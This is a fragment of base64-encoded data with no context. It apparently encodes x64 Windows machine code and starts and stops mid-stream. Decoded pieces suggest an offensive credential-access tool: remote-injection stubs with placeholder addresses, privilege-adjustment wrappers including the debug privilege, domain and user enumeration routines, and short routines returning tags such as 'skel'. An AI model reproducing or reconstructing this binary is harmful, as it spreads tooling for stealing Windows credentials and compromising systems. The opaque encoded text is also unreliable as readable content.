UwkOEi4Q0NDQ0NDQ0P/0IlEJCCDfCQgAHw3SItEJHhIiwBIg8AQQbgQAAAASItUJChIi8hIuExMTExMTExM/9BIi0wkKEi4S0tLS0tLS0v/0EiLRCR4SIsASItMJGBIiUggSItMJDBIuEtLS0tLS0tL/9CDfCQgAH0gSItEJHhIiwhIuEtLS0tLS0tL/9BIi0QkeEjHAAAAAACLRCQgSIPEWMPMzEyJTCQgRIlEJBhIiVQkEEiJTCQISIPsWMdEJDCaAADASIuEJIAAAACLAIlEJDTHRCRAYLpPysdEJETcRmx6x0QkSAM8F4HHRCRMlMA99otEJHCL0DPJSLhKSkpKSkpKSv/QSIlEJDhIg3wkOAAPhNMAAACLRCRwRIvASItUJGhIi0wkOEi4TExMTExMTEz/0EiLhCSAAAAASIlEJCBMi0wkeESLRCRwSItUJDhIi0wkYEi4RERERERERET/0IlEJDCDfCQwAH1tSIuEJIAAAACLTCQ0iQhIi0QkYEiDwBBIi4wkgAAAAEiJTCQgTItMJHhEi0QkcEiLVCQ4SIvISLhERERERERERP/QiUQkMIN8JDAAfCBBuBAAAABIjVQkQEiLRCRgSItIIEi4TExMTExMTEz/0EiLTCQ4SLhLS0tLS0tLS//Qi0QkMEiDxFjDzLhsZWtzw8zMSIlcJAhVVldBVUFXSI1sJKBIgexgAQAAZg9vBVgiBgBIjQU59AYASIlEJEhMjQXtVgUAZg9/RdBIjQVJiQUAZg9vBUEiBgAz9kghtagAAAAPV8lIIXQkQIE9mvwGAIgTAABIiUXISI0FG14EAEiJRehIjQWQVgUAZg9/RfBmD28FEyIGAEiJRQBIjQWwVwUAZg9/RRBmD28FayEGAEiJRQhIjUXAZg9/RTBmD28FZiEGAEiJRbBMiUXATIlF4GYPf00gZg9/TUBmD39FUMdFqAUAAAByHEghdCQgTI0FtogFAEUzyegqCPv/hcB1BDPb6wW7AQAAADPATI0twL8GAEmL1UiJRCRYSI1MJFhIiUQkYP8V2NECAEiNlaAAAABIjQ0ahAUA6AnG+v+FwA+EAAMAAESLhaAAAAAz0rk4BAAA/xWpzAIASIv4SIXAD4TMAgAAQb8QAAAAQYvXQY1PMP8V0swCAEiJRCQ4SIXAdBpMjUQkOEiL10GNT/HoV7P6/4vISItEJDjrAjPJhckPhIACAACF2w+FAgEAAEyNRCRoSIvISI0V/YcFAOjUy/r/hcAPhMUAAAAPEEQkaItEJHhMjUWIjVMoTIlsJEBIjUwkQEiJRZjzD39FiOiEtvr/hcAPhIcAAABIjQ3RhwUA6Jy++v9IjUQkWEmL10iJRCRATI1FiEiLRaBIjUwkQEiJRCRg6Ey2+v+FwHRKSItVoEiNDbGHBQDoZL76/zPASI1UJEBIiUQkWEiNTCQwSIlEJGBNi8dIi0WgSIlEJDDo2bP6/4vwhcAPhK0BAABIjQ2UhwUA6xBIjQ27hwUA6wdIjQ0iiAUA6BW++v/rFP8VzcsCAIvQSI0NfIgFAOj/vfr/hfYPhHEBAABIi0QkOEyNRCRoSIvISI0VE4kFAOjSyvr/hcAPhDwBAABIjQ3/iAUA/xWRyAIASI1UJFC5FwAAAEiL2P8VFs8CAIXAD4goAQAASItEJFBMjQUK/f//TI09R/r//0Urx0yNTahJi9dIi0goSCvLSANMJGhIiU04SI1MJDBIi0A4SCvDSIlMJCBIA0QkaEiLTCQ4SIlFWOhB5vr/hcAPhK0AAABIjQ2eiAUA6Em9+v9Ii0QkMEiNVCRASItMJGi+CAAAAEiJhagAAABIK8tIjYWoAAAARIvGSIlEJEBIi0QkUEiDwChIA8hIiUwkMEiNTCQw6J2y+v+FwHR3SI0NbogFAOjxvPr/SItMJGhIjQX9+v//SSvHSI1UJEBIAYWoAAAASCvLSItEJFBEi8ZIg8A4SAPISIlMJDBIjUwkMOhRsvr/hcB0K0iNDVKIBQDrB0iNDXmIBQDonLz6/+sU/xVUygIAi9BIjQ0DhwUA6Ia8+v9Ii0wkOOicsfr/SIvP/xVDygIA6xT/FSvKAgCL0EiNDbqIBQDoXbz6/zPASIucJJABAABIgcRgAQAAQV9BXV9eXcNIiVwkCFVIi+xIg+xQ6LayAQBIjQ3riAUASIsYSIvT6CC8+v9MjUUoSIvLSI1V8OhcnPr/hcAPhNQAAACLXShIjQ32iAUAi9Po97v6/7kCAQAATI1F4EiNVSj/FTTOAgCFwHgeSItN8EiNRShMjU0gSIlEJCBMjUXoi9PoCLj6/+sCM8CFwHR+i1UgTI0N2ogFAA9XyUiNDQCJBQAPV8DzSA8qw/NIDyrK8w9eyPMPWQ3HHAYAD1rRZkkPftDogrv6/0SLRSBIjQ2fiAUASItV6Ohemvr/hcB0DkiNDTuJBQDoXrv6/+sU/xUWyQIAi9BIjQ01iQUA6Ei7+v9Ii03o/xUeyQIASItN8P8VFMkCADPASItcJGBIg8RQXcPMzMxIiVwkEFVWV0FUQVVBVkFXSI1sJNlIgewAAQAAM9vHRCRAAQEAAEiJXY+JXZfHRCREAAAABcdEJEggAAAAhcl0BUiLEusHSI0Vb8UDAEiNTQ//FS3NAgBFM8lIjVQkWEiNTQ9FjUEx/xX/yQIAhcAPiI4EAABIi0wkWEyNTY9MjUQkQLoAAwAA/xXGyQIAhcB5DovQSI0NIYkFAOiEuvr/SItMJFhIjUQkUEG5AQAAAEiJRCQgTI1F10iNVZf/FcHJAgBEi+iFwHkTi9BIjQ3ZjAUA6Ey6+v/p8QMAAESL+zlcJFAPhtoDAABIi1XXSI0NN4kFAEGLx0iDwghIjRxASI0U2ugbuvr/SItF10iNWwFIi0wkWEyNRc9IjRTY/xUIyQIAM9uFwA+IegMAAEiNDR+JBQDo6rn6/0iLTc/oYQH7/0yLRc9MjUwkOEiLTCRYugADAAD/FfjIAgCFwA+IKgMAAIldm0iLTCQ4SI1Ff0iJRCQoTI1Nh0UzwMdEJCABAAAASI1Vm/8VrsgCAESL4IXAeROL0EiNDc6KBQDogbn6/+nMAgAAi/M5XX8PhrcCAACLxkiNDbiIBQBMjTRASItFh0KLFPBMjUAIT40E8OhPufr/SItFh0yNTcdIi0wkOLobAwAARosE8P8Va8gCAIXAD4hYAgAASItNx0yNRXdIjVW3/xVByAIAhcB4fYv7OV13dmpIi0W3SI0Na4gFAIvfixTY6Pm4+v9Ii0W3TI1N50yNRZ+6AQAAAIsM2EiNRd+JTZ9Ii0wkOEiJRCQg/xUOyAIAM9uFwHgPSI1V30iNTefolwgAAOsOi9BIjQ1YkgUA6Ku4+v//xzt9d3KWSItNt/8V8scCAOsOi9BIjQ0XiAUA6Iq4+v9Ii0WHTI1Fv0iLTcdCixTw/xVcxwIAhcAPiH8BAABIi0wkOEiNRCQwTI1NZ0iJRCQgTI1Fv7oBAAAA/xVCxwIAhcAPiIAAAACL+zldZ3ZsSItEJDBIjQ0fiAUAi9+LFJjoJbj6/0iLRCQwTI1N90yNRae6AQAAAIsMmEiNRe+JTadIi0wkOEiJRCQg/xU5xwIAM9uFwHgPSI1V70iNTffowgcAAOsOi9BIjQ2DkQUA6Na3+v//xzt9Z3KUSItMJDD/FRzHAgDrDovQSI0NwYcFAOi0t/r/SItNj0iFyQ+ErgAAAEiNRCQwugEAAABMjU1nSIlEJCBMjUW//xWCxgIAhcB4f4v7OV1ndmtIi0QkMEiNDeOHBQCL34sUmOhpt/r/SItEJDBMjU0HTI1Fr7oBAAAAiwyYSI1F/4lNr0iLTY9IiUQkIP8VfsYCADPbhcB4D0iNVf9IjU0H6AcHAADrDovQSI0NyJAFAOgbt/r//8c7fWdylUiLTCQw/xVhxgIA6w6L0EiNDQaHBQDo+bb6/0iLTb//FUfGAgDrDovQSI0NbIcFAOjftvr/SItNx/8VJcYCAOsOi9BIjQ2yhwUA6MW2+v//xjt1fw+CSf3//0iLTYf/FQjGAgBBgfwFAQAAD4Tm/P//SItMJDj/FejFAgDrDovQSI0NRYgFAOiItvr/SItNz/8V1sUCAOsOi9BIjQ2LiAUA6G62+v9B/8dEO3wkUA+CJvz//0iLTdf/Fa7FAgBIjQ3PwgMA6Eq2+v9Bgf0FAQAAD4S5+///SItNj0iFyXQG/xV+xQIASItMJFj/FXPFAgDrDovQSI0NIIkFAOgTtvr/M8BIi5wkSAEAAEiBxAABAABBX0FeQV1BXF9eXcPMzEBVU1ZXQVRBVkFXSI1sJNlIgeygAAAAg2XHAIXJdAVIixLrB0iNFWHAAwBIjU0X/xUfyAIARTPJSI1Vv0iNTRdFjUEx/xXyxAIAhcAPiKACAABIi02/SI1Ff0G5AQAAAEiJRCQgTI1F70iNVcf/FeHEAgBEi+CFwHkTi9BIjQ0JiwUA6Gy1+v/pQAIAAEUz9kQ5dX8PhikCAABIi1XvS40cdkiDwghIjQ1PhAUASI0U2ug+tfr/SItV70yNRedIi02/SIPCCEiNFNr/FSzEAgCFwA+I0AEAAEiNDUWEBQDoELX6/0iLTefoh/z6/0yLRedMjU23SItNv7oAAwAA/xUgxAIAhcAPiIIBAACDZcsASItNt0iNRXdBuQEAAABIiUQkIEyNRd9IjVXL/xXDwwIARIv4hcB5E4vQSI0N64gFAOiutPr/6SoBAAAz9jl1dw+GFQEAAEiLRd9IjRx2SI0N34MFAIsU2EyNQAhNjQTY6H+0+v9Ii0XfTI1N90iLTbe6EAAAAESLBNj/FczDAgCFwA+IugAAAEiLTfdMjU1nTI1FD0iNVdf/FVbDAgCFwA+IggAAADP/OX1ndmVIi0XXSI0NlIMFAIsUuOgktPr/SItF10yNTQdMjUXPugEAAACLDLhIjUX/iU3PSItNt0iJRCQg/xU6wwIAhcB4D0iNVf9IjU0H6MUDAADrDovQSI0Nho0FAOjZs/r//8c7fWdym0iLTdf/FSDDAgBIi00P/xUWwwIA6w6L0EiNDRuHBQDorrP6/0iLTff/FfTCAgDrDovQSI0NcYcFAOiUs/r//8Y7dXcPguv+//9Ii03f/xXXwgIAQYH/BQEAAA+Ejv7//0iLTbf/FbjCAgDrDovQSI0NFYgFAOhYs/r/SItN5/8VpsICAOsOi9BIjQ1biAUA6D6z+v9B/8ZEO3V/D4LX/f//SItN7/8Vf8ICAEiNDaC/AwDoG7P6/0GB/AUBAAAPhGz9//9Ii02//xVUwgIA6w6L0EiNDRGJBQDo9LL6/zPASIHEoAAAAEFfQV5BXF9eW13DSIlcJBBVVldBVkFXSIvsSIHsgAAAAINluACFyXQFSIsS6wdIjRVOvQMASI1N8P8VDMUCAEUzyUiNVbBIjU3wRY1BMf8V38ECAIXAD4hBAgAASItNsEiNRUhBuQEAAABIiUQkIEyNRdhIjVW4/xXOwQIARIv4hcB5E4vQSI0NFosFAOhZsvr/6eEBAAAz9jl1SA+GzAEAAEiLVdhIjRx2SIPCCEiNDT6BBQBIjRTa6C2y+v9Ii1XYTI1F0EiLTbBIg8IISI0U2v8VG8ECAIXAD4h1AQAASI0NNIEFAOj/sfr/SItN0Oh2+fr/TItF0EyNTchIi02wugADAAD/FQ/BAgCFwA+IJwEAAINlvABIi03ISI1FQEG5AQAAAEiJRCQgTI1FwEiNVbz/FZLAAgBEi/CFwHkTi9BIjQ36iAUA6J2x+v/pzwAAADP/OX1AD4a6AAAASItFwEiNHH9IjQ3OgAUAixTYTI1ACE2NBNjobrH6/0iLRcBMjU3oSItNyLoEAAAARIsE2P8VQ8ACAIXAeGNIi03oTI1FMEiNVeD/FV3AAgCFwHgzM9s5XTB2IEiNDZuHBQDoJrH6/0iLTeBIiwzZ6Jn4+v//wztdMHLgSItN4P8VYMACAOsOi9BIjQ2FhwUA6Piw+v9Ii03o/xU+wAIA6w6L0EiNDduHBQDo3rD6///HO31AD4JG////SItNwP8VIcACAEGB/gUBAAAPhOn+//9Ii03I/xUCwAIA6w6L0EiNDX+IBQDoorD6/0iLTdD/FfC/AgDrDovQSI0NxYgFAOiIsPr//8Y7dUgPgjT+//9Ii03Y/xXLvwIASI0N7LwDAOhnsPr/QYH/BQEAAA+Ey/3//0iLTbD/FaC/AgDrDovQSI0NfYkFAOhAsPr/M8BIi5wkuAAAAEiBxIAAAABBX0FeX15dw8zMzEiJXCQIV0iD7CBIiwJIi9pIi/lEiwBBjUD/g/gJdxRBjUD/TGPASI0Fb20DAE6LBMDrB0yNBTJIBABIixFIjQ1wiQUA6Nuv+v9Iiw//FSq/AgBIiwtIi1wkMEiDxCBfSP8lFr8CAMzMSIlcJAhXSIPsIEUzwEyNTCQ4i/lBjVAB/xWOwQIAi9iL14XAeA5IjQ0fjAUA6Iqv+v/rD0SLw0iNDTaMBQDoea/6/4vDSItcJDBIg8QgX8NAU0iD7CBIi8K7DQAAwIXJdBhIiwhFM8Az0uitowEAi8joiv///4vY6wxIjQ1zjAUA6Dav+v+Lw0iDxCBbw8zMQFNIg+wguw0AAMCFyXRISIsSTI1EJEAzyf8VRbcCAIXAdB6LVCREhdJ1DYtMJEDoPP///4vY6ytIjQ2FjAUA6w//FaW8AgCL0EiNDeSMBQDo1676/+sMSI0NVo0FAOjJrvr/i8NIg8QgW8PMuRQAAADp+v7//8zMuQoAAADp7v7//8zMuQgAAADp4v7//8zMuQcAAADp1v7//8zMuREAAADpyv7//8zMuRIAAADpvv7//8zMuRYAAADpsv7//8zMiUwkCEiD7ChIjVQkMEiNDfABAADoM7T6/0iDxCjDzMxAU0iD7HCFyXR0jUH/SGPISIscykiNDXGOBQBIi9PoKa76/8dEJEgBAAAASI1EJFBIiUQkQEUzwEiDZCQ4AEiL00iDZCQwADPJSINkJCgAg2QkIADoj776/4XAdA2LVCRgSI0NVI4FAOsP/xWcuwIAi9BIjQ1rjgUA6M6t+v8zwEiDxHBbw8zMRTPA6RgAAABBuAEAAADpDQAAAMxBuAIAAADpAQAAAMxIiVwkCEiJbCQQVldBVkiD7DBBi9i/JQIAwEWFwHQsQYPoAXQYQYP4AQ+F9gAAAL4ACAAASI0t0Y4FAOsavgAIAABIjS2bjgUA6wy+AQAAAEiNLWWOBQBIg2QkIABMjUwkaEyNBdsfBQDouvX6/4XAD4SjAAAASItMJGhFM8Az0uh/oQEARIvwhcAPhIkAAABEi8Az0ovO/xVnugIASIvwSIXAdF6F23Qgg+sBdBCD+wF1M0iLyP8V0L4CAOsWSIvO/xXdvgIA6wsz0kiLzv8VyL4CAIv4hcB4DEWLxkiNDUiOBQDrCkSLx0iNDWyOBQBIi9XorKz6/0iLzv8Vc7oCAOsi/xVbugIAi9BIjQ26jgUA6I2s+v/rDEiNDSyPBQDof6z6/0iLXCRQi8dIi2wkWEiDxDBBXl9ew8zMSIlcJAhIiXQkEFdIg+wgSIvaTI1BOEiLUVBIi/FIjQ10jwUA6D+s+v8z/zk7dEQ5fgR0P0iNDW2PBQDoKKz6/zl+BHYiSI0Uv0gD0kiNDXW4BABIi5TWMAEAAOgIrPr//8c7fgRy3kiNDUKPBQDo9av6/0iNDW64AwDo6av6/0iLXCQwuAEAAABIi3QkOEiDxCBfw0yNBQEBAADpDAAAAEyNBeEBAADpAAAAAEiLxEiJWAhIiWgQSIlwGFdIg+wwSYvoTI1IIDP2TI0FOB4FAEghcOgz/+gR9Pr/hcB0QEiLTCRYjXcBRTPAM9Lo158BAESLwDPSuQAAAID/Fce4AgBIi/hIhcB1Fv8VGbkCAIvQSI0NqI4FAOhLq/r/62O6EAAAAI1KMP8V47gCAEiJRCRYSIvYSIXAdA9MjUQkWEiL14vO6Gef+v+FwHQYRTPASIvVSIvL6Pmx+v9Ii8voJaD6/+sU/xW9uAIAi9BIjQ3MjgUA6O+q+v9Ii8//Fba4AgBIi1wkQDPASItsJEhIi3QkUEiDxDBfw8zMzEiJXCQIV0iD7CBIi9pIi/lIi1EYSI0NEY8FAOisqvr/TIvDSI0VGgAAAEiLz+juvPr/SItcJDC4AQAAAEiDxCBfw8zMQFNIg+wgRItBBEiL2UiLUSBIjQ3gjgUA6Guq+v9Ig3sQAHQRi1MISI0N4o4FAOhVqvr/6wxIjQ3cjgUA6Eeq+v9Ii1MwSIXSdA5IjQ3PjgUA6DKq+v/rDEiNDbmOBQDoJKr6/0iLUxBIhdJ0DkiNDbSOBQDoD6r6/+sMSI0Nlo4FAOgBqvr/SItTGEiF0nQMSI0NmY4FAOjsqfr/uAEAAABIg8QgW8PMSIlcJAhXSIPsIEiL2kiL+UiLURhIjQ0ljgUA6MCp+v9Mi8NIi8/oMb76/0iLXCQwuAEAAABIg8QgX8PMQFNIg+wgTItJCEiL2UyLQTBIi1EgSI0NQI4FAOiDqfr/SItTGEiF0nQOSI0NT44FAOhuqfr/6w+LUxBIjQ1KjgUA6F2p+v+4AQAAAEiDxCBbw8zMSIlcJAhIiXQkEFdIg+wgSYvZQYv4SIvxRYXAdGNNiwFIjQ15jwUA6CSp+v+D/wF1KEiLC//WhcB0CUiNDYeHBADrRP8Vx7YCAIvQSI0Ndo8FAOj5qPr/6zOLVCRQhdJ0FoE9UeUGALAdAAByCkiLC+gDAgAA6xVIjQ26jwUA6wdIjQ0RkAUA6MSo+v9Ii1wkMDPASIt0JDhIg8QgX8PMzEiD7DiDZCQgAEyLykSLwUiNFVKQBQBIjQ1/6Pr/6D7///9Ig8Q4w8xIg+w4g2QkIABMi8pEi8FIjRVCkAUASI0N0+j6/+gW////SIPEOMPMSIPsOEyLysdEJCABAAAARIvBSI0VL5AFAEiNDbjp+v/o6/7//0iDxDjDzMxIg+w4TIvKx0QkIAIAAABEi8FIjRUbkAUASI0NnOn6/+i//v//SIPEOMPMzEiD7DhMi8rHRCQgAwAAAESLwUiNFQeQBQBIjQ2A6fr/6JP+//9Ig8Q4w8zMSIPsOEyLysdEJCAPAAAARIvBSI0V848FAEiNDWTp+v/oZ/7//0iDxDjDzMxIg+w4TIvKx0QkIAUAAABEi8FIjRXfjwUASI0NSOn6/+g7/v//SIPEOMPMzEiJTCQISIPseEiLhCSAAAAASIPAMEjHRCRoAAAAAEjHRCRgAAAAAEjHRCRYAAAAAMdEJFAAAAAAx0QkSAAAAABIx0QkQAAAAADHRCQ4AAAAAEjHRCQwAAAAAMdEJCgAAAAASIuMJIAAAACLSSiJTCQgRTPJRTPAM9JIi8hIi4QkgAAAAP9QIEiLjCSAAAAAiUEMM8BIg8R4w8zMzLhzY3Zzw8zMuGZjdnPDzMxIiVwkCEiJdCQQVVdBVEFWQVdIjWwkyUiB7LAAAABEi/pIjQWA2gYATIvxSIlFv0Uz5EiNVXdIjQ37jgUATIllt+g2rfr/hcAPhEMCAABEi0V3M9K5OgQAAP8V2bMCAEiL8EiFwA+EEgIAAEGNVCQQjUow/xUHtAIASIlF30iLyEiFwHQXTI1F30iL1kGNTCQB6Iqa+v9Ii03f6wNBi8SFwA+EywEAAEw5JTreBgAPhdcAAABFM8BIjVX36Hiz+v+FwA+EqgAAAEiLRQdIjVV/SI1N10iJRdfoX7T6/4XAD4SNAAAASIt9f0mL3IsVUuIGAEmLzEiLRzBIiUXXi0dQSIlF50iNBYWnBgA5EHcUSIvYSIPBUEiDwFBIgfnwAAAAcuhIhdt0QUiLQxBMjUXXi1MISI1Nt0iJRbfobJ36/4XAdBFIY0MoSANF70iJBZXdBgDrFP8VPbMCAIvQSI0N/I0FAOhvpfr/SIvP/xVGswIATDklb90GAHUMSI0N/o8FAOndAAAASItN34E9r+EGAPAjAABzEEiNBVL+//9IjRWv/f//6w5IjQVK/v//SI0Vn/3//0yNRccrwkyJRCQgRTPJRIvA6PHN+v+FwA+EigAAAEiDyP9I/8BmRTkkRnX2SIsNAN0GAESNBEUCAAAATYvOQYvX6JXJ+v9Ii9hIhcB0T0yNRRdIi9BIjU3H6PnJ+v+FwHQei1UjhdJ0CUiNDdONBQDrHUiNDYJyBQDopaT6/+sU/xVdsgIAi9BIjQ3MjQUA6I+k+v9Ii8v/FWayAgBIjU3H6JGe+v/rDEiNDUyOBQDob6T6/0iLTd/ohpn6/0iLzv8VLbICAOsU/xUVsgIAi9BIjQ2UjwUA6Eek+v9MjZwksAAAADPASYtbMEmLczhJi+NBX0FeQVxfXcPMSIlcJAhIiXwkEFVIi+xIg+xASINl+ABMjU34SINkJCAATI0F0AcEAEiL2ov56Hrs+v9Ig2QkIABMjU3wTI0FxW8EAEiL04vP6F/s+v+FwA+E7AAAAEiLTfBIjVUo/xUtqwIAhcAPhMQAAABIi1XwSI0NSpEFAOito/r/SItNKP8V46sCAIXAD4SHAAAASItF+EyNTSBIi00oTI1F+EiNVfBIiUQkIOiB8Pr/hcB0T4tNII1B/4P4CXcTjUH/SGPISI0V2WADAEiLFMrrB0iNFZw7BABMi03wSI0NAZEFAEyLRfjoQKP6/0iLTfD/FRaxAgBIi034/xUMsQIA6yL/FeSwAgCL0EiNDSORBQDoFqP6/+sMSI0NpZEFAOgIo/r/SItNKP8V3rACAOnmAAAA/xWzsAIASI0N1JEFAOm/AAAASINkJCAATI1N8EyNBXaTBABIi9OLz+hQ6/r/hcAPhKUAAABIi1XwSI0NGZIFAOi0ovr/SItF+EyNTSBIi03wTI1F+EiNVShIiUQkIOii8Pr/hcB0XYtNII1B/4P4CXcTjUH/SGPISI0V8l8DAEiLFMrrB0iNFbU6BABMi0X4SI0N2pEFAOhdovr/SItNKOjU6fr/SI0Nza4DAOhIovr/SItNKP8VHrACAEiLTfjpMf////8V768CAEiNDeCRBQCL0Oghovr/6wxIjQ1gkgUA6BOi+v9Ii1wkUDPASIt8JFhIg8RAXcPMSIvESIlYCFdIg+xASINgIABMjUgYSINgGABMjQWvBQQASINg2ABIi9qL+ehU6vr/TItMJGBIjUQkaEiJRCQoRTPASI1EJDBIi9OLz0iJRCQg6GoHAACFwHQbSItMJGhIhcl0Bv8V5rECAEiLTCQw/xUTsgIAM8BIi1wkUEiDxEBfw8zMSIlcJAhIiXwkEFVIi+xIgeyAAAAASINlIABIjUWwSINlyABMjU0oSINl2ABMjQURkgUASINkJCAASIvaSIlFwIv5SI0F45EFAMdF4IIAAABIiUXoSI1F4EiJRdBIjUXASIlF8OiX6fr/hcAPhBEBAABIi00oSI1VuP8VZagCAIXAD4TlAAAASItNuP8VK6kCAIXAD4S7AAAASItNuP8VWacCAIlFsEUzyUiNRSBIi9NIiUQkKIvPSI1FKEWNQQFIiUQkIOhzBgAAhcAPhI8AAABIi1XoSI0NeJEFAOiboPr/SItNuOgS6Pr/SI0Nq5EFAOiGoPr/SItdKEiLVSBIi8v/Fc2wAgBMjUXQSIvLSIvQ/xUVsQIAhcB1DkiNDTJuBQDoVaD6/+sRRIvASI0NcZEFAIvQ6EKg+v9Ii00gSIXJdAb/FYOwAgBIi8v/FbKwAgDrDEiNDbmRBQDoHKD6/0iLTbj/FfKtAgDrIv8Vyq0CAIvQSI0N6ZEFAOj8n/r/6wxIjQ1bkgUA6O6f+v9MjZwkgAAAADPASYtbEEmLexhJi+Ndw8zMzEiJXCQIVVZXSIvsSIHsgAAAADPbx0XogAAAAEghXTBIjUW4SCFd0EyNTThIIV3gTI0FZpAFAEghXCQgSIv6SIlFyIvxSI0FUZIFAEiJXbBIiUXwSI1F6EiJRdhIjUXISIlF+Ojw5/r/hcAPhD8BAABIi004SI1VwP8VvqYCAIXAdTpIi004TI1FsEghXCQgSI1VwEUzyehF7fr/hcB1Gf8V76wCAIvQSI0NHpMFAOghn/r/6QMBAABIi12wSItNwP8VTqcCAIXAD4S7AAAASItNwP8VfKUCAIlFuEUzyUiNRTBIi9dIiUQkKIvOSI1FOEWNQQFIiUQkIOiWBAAAhcAPhI8AAABIi1XwSI0Nq5EFAOi+nvr/SItNwOg15vr/SI0Nzo8FAOipnvr/SIt9OEiLVTBIi8//FfCuAgBMjUXYSIvPSIvQ/xU4rwIAhcB1DkiNDVVsBQDoeJ76/+sRRIvASI0NtJEFAIvQ6GWe+v9Ii00wSIXJdAb/FaauAgBIi8//FdWuAgDrDEiNDeyRBQDoP576/0iLTcD/FRWsAgBIhdt0F0iLy/8VB6wCAOsMSI0N1pIFAOgZnvr/M8BIi5wkoAAAAEiBxIAAAABfXl3DQFVIi+xIg+xgSINlIABIjQW3kAUASINl8ABBuAEAAABIg2XYAEUzyUiJRehIjUXgSIlF0EiNRSBIiUQkKEiNRShIiUQkIESJReDodQMAAIXAdHlIi1XoSI0N5pIFAOihnfr/SItVIEiLTSj/FeutAgBIi00oTI1F0EiL0P8VMq4CAIXAdQlIjQ1PawUA6wyD+BB1DkiNDfGSBQDoZJ36/+sRRIvASI0NUJMFAIvQ6FGd+v9Ii00gSIXJdAb/FZKtAgBIi00o/xXArQIAM8BIg8RgXcNIiVwkCFdIg+wwgT2I2QYAiBMAAHMQSI0dc5MFAEiNPXyTBQDrDkiNHWtCBQBIjT2EkwUASI0NlZMFAOjwnPr/TIvPSI0N3p8GAEyLw7pAAQAA6CWg+v+FwHQjSI0NhpMFAOjJnPr/TIvPSI0NN6EGAEyLw7pAAQAA6P6f+v8zwEiLXCRASIPEMF/DzEiLxEiJWAhVVldBVkFXSIPsQEiDYCAATIv5/xUUrQIA6SACAABIi9ZJi8//FcusAgBIi9BIjQ05kwUA6GSc+v9MjYQkiAAAAEiL1kmLz/8V6KwCAOm/AQAASIvTSI0NIZMFAOg8nPr/TIvDSIvWSYvP/xV1rAIASIv4SIXAD4R4AQAASI0VuowEAEiLy+gi2wAAhcAPhEMBAABIjRXzkgUASIvL6AvbAACFwA+ELAEAAEiNFZyMBQBIi8vo9NoAAIXAdQ5Iiw9Ii0kI6FTj+v/rH0iNFeuSBQBIi8vo09oAAIXAdR1Iiw9Ii0kI6P/i+v9IjQ0sqAMA6Keb+v/p8AAAADPtSDkvdOhMi/eL1UiNDceSBQDoipv6/0iNFUuOBQBIi8voi9oAAEmLDoXAD4WDAAAASItJCOjn4vr/SYsOTI2MJIAAAABIg2QkIABMjUQkOEiNVCQwSItJCOhH6Pr/hcB0Y4uEJIAAAAD/yIP4CXcPSJhIjRWgWAMASIsUwusHSI0VYzMEAEyLTCQwSI0NX5IFAEyLRCQ46AWb+v9Ii0wkMP8V2qgCAEiLTCQ4/xXPqAIA6xGLEUG4AQAAAEiLSQjoqOD6///FTI0070mDPgAPhTT////pFP///0iLB0iNDc2RBQBMi0AIixDospr6/0iLz/8VGasCAEiLy/8VCKsCAEyLhCSIAAAASIvWSYvP/xVEqwIASIvYSIXAD4U1/v//SIuMJIgAAABIhcl0CDPS/xU7qwIASIvWSYvP/xXfqgIASIvwSIXAD4XU/f//SItcJHBIg8RAQV9BXl9eXcPMzEyL3EmJWwhJiWsQSYlzGEmJeyBBVkiB7IAAAABIjQW9igQAM/9JIXvoSYvZSYlDwEWL8EiNBfaQBQBJiUPISI0Fq4oFAEmJQ9BIjQW4jAUASYlD2EiNBQWRBQBJiUPg6EgBAABIi+hIhcAPhOQAAAC6hQEAAEiLy/8VaqoCAEiLnCSwAAAASIkDSIXAdA9IjVQkQEiLy+jRAgAA6w5IjQ0klQUA6JeZ+v8zwIXAD4SYAAAASIu0JLgAAABIjUQkSEiLVCRATIvNSIl0JDBBuAIAAAAhfCQoSCE+SIsLSIlEJCD/FfipAgCFwEAPlMeF/w+EkQAAAEiLFkiLC/8VtqkCAIXAdG6D+AEPhIkAAABFhfYPhIAAAABIi9VIjQ0WkQUA6BmZ+v8z/0iLDkiFyXQG/xVZqQIASIsL/xWIqQIASItMJED/FdWmAgBIi83/FcymAgBMjZwkgAAAAIvHSYtbEEmLaxhJi3MgSYt7KEmL40FewzP/SI0NO5AFAEiL1ei7mPr/6xFEi8BIjQ1nkQUAi9DoqJj6/4X/dI1IixZIiwvo9fv//+uXzMzMSIvESIlYCEiJaBBWV0FWSIPsMDP/TI1IIEyNBeQQBQBIiXjYi99Ii/KL6ejo4Pr/hcB0aEiLbCRoSIPO/0j/xmY5fHUAdfZIg8YSuUAAAABIjRQ2/xXipQIASIvYSIXAD4RCAQAATIvNTI0FTJEFAEiL1kiLyOhJ1/7/SGPQSI1O/0g70Q+EHQEAAEiLy/8V4KUCAEiL2OkMAQAATI1MJGhIiXwkIEyNBcdjBABIi9aLzehh4Pr/hcAPhN0AAABIi0wkaEiNVCRg/xUtnwIAhcAPhK8AAABIi0wkYP8V8p8CAIXAD4SDAAAASItMJGD/FR+eAgCL8LlAAAAARI00dk2Ndg1LjRQ2/xUupQIASIvYSIXAdGMPEAXHkAUADxEA8g8QDcyQBQDyDxFIEIX2dC9IjWgWSItEJGBMjQW7kAUAugQAAABIi81ED7YMB+hx1v7/SIPFBkj/x0iD7gF11bgpAAAAZkKJRHP86wxIjQ2YkAUA6BuX+v9Ii0wkYP8V8KQCAOsi/xXIpAIAi9BIjQ3XkAUA6PqW+v/rDEiNDVmRBQDo7Jb6/0iLbCRYSIvDSItcJFBIg8QwQV5fXsPMzEyL3EmJWxBJiXMYV0FWQVdIg+xQSIs5SI0FnpIFAEmJQ9hMjQ3DkgUASY1DCDPbSSFb4EyL8kkhWwhMi/lJiUPIRTPAIVwkKEmNQ9gz0kmJQ7hIi88z9v8VF6cCAIXAdXRIi1QkcEiLz/8V3aYCAIP4AXVTTItEJEBIi89Ii1QkcP8VlaYCAEiL+EiFwHRXSIvI/xWcpgIAg/gBdRNIiw+LEUiLSQjokdr6/0iL8OsMSI0NVZIFAOgYlvr/SIvP/xV/pgIA6x9IjQ3ekgUA6AGW+v/rEUSLwEiNDW2TBQCL0Ojulfr/SItMJHBIhcl0Bv8VLqYCAEmJNkiF9nQ+SYsPQbmGBAAARTPAM9L/FaqmAgCFwA+Uw4XbdSpEi8BIjQ23kAUAi9DoqJX6/0mLDv8Vf6MCAEmJBoXbdQlJiw//FRemAgBMjVwkUIvDSYtbKEmLczBJi+NBX0FeX8PMzMxIg+woSI0N4ZcFAOhklfr/uBUAAEBIg8Qow8zMQFNIg+xQufX/////Ff+fAgBIi9hIjVQkMDPASIvLiUQkcP8V8J8CAA+/TCQwSI1EJHhED79EJDK6IAAAAESLTCRwRA+vwUiLy0iJRCQg/xWsnwIAi1QkcEiLy/8Vj58CADPASIPEUFvDzMzMSIPsKEiNDW